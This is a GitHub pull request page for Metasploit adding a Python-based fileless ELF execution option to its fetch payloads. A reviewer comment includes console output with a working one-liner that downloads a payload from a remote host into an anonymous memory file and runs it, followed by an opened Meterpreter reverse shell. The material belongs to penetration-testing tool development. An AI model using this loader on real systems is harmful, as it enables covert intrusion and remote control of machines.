-
Notifications
You must be signed in to change notification settings - Fork 14.4k
Adding option to run fileless ELF execution with Python #19943
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
dledda-r7
merged 5 commits into
rapid7:master
from
msutovsky-r7:feat/fetch_fileless_python
Mar 28, 2025
Merged
Adding option to run fileless ELF execution with Python #19943
dledda-r7
merged 5 commits into
rapid7:master
from
msutovsky-r7:feat/fetch_fileless_python
Mar 28, 2025
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dledda-r7
reviewed
Mar 5, 2025
sjanusz-r7
reviewed
Mar 6, 2025
jvoisin
reviewed
Mar 6, 2025
bwatters-r7
reviewed
Mar 10, 2025
bwatters-r7
reviewed
Mar 10, 2025
10 tasks
dledda-r7
approved these changes
Mar 28, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looks good!
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 1
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
[*] Started reverse TCP handler on 172.22.127.229:4444
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f
python3 -c 'import os;fd=os.memfd_create("",os.MFD_CLOEXEC);os.system(f"f=\"/proc/{os.getpid()}/fd/{fd}\";curl -so $f http://172.22.127.229:8080/7pbDadtrV4sBei_JjHB3PA;$f&")'
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.22.127.229:4444 -> 172.17.0.2:49522) at 2025-03-28 06:37:25 -0400
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : 172.17.0.2
OS : Debian (Linux 6.12.13-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Release NotesThis improves the fetch payloads by using python to achieve fileless execution of an ELF file using |
11 tasks
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
With the report of failing
FETCH_FILELESS
in restricted/no-gui environment, there should be probably some alternative until the more reliable method is available. This PR adds the alternative option. The new method -FETCH_FILELESS_PYTHON
creates anonymous handle using Python, copies payload into that handle and runs it. The logic/technique is similar to originalFETCH_FILELESS
, but the fetch payload creates its own handle.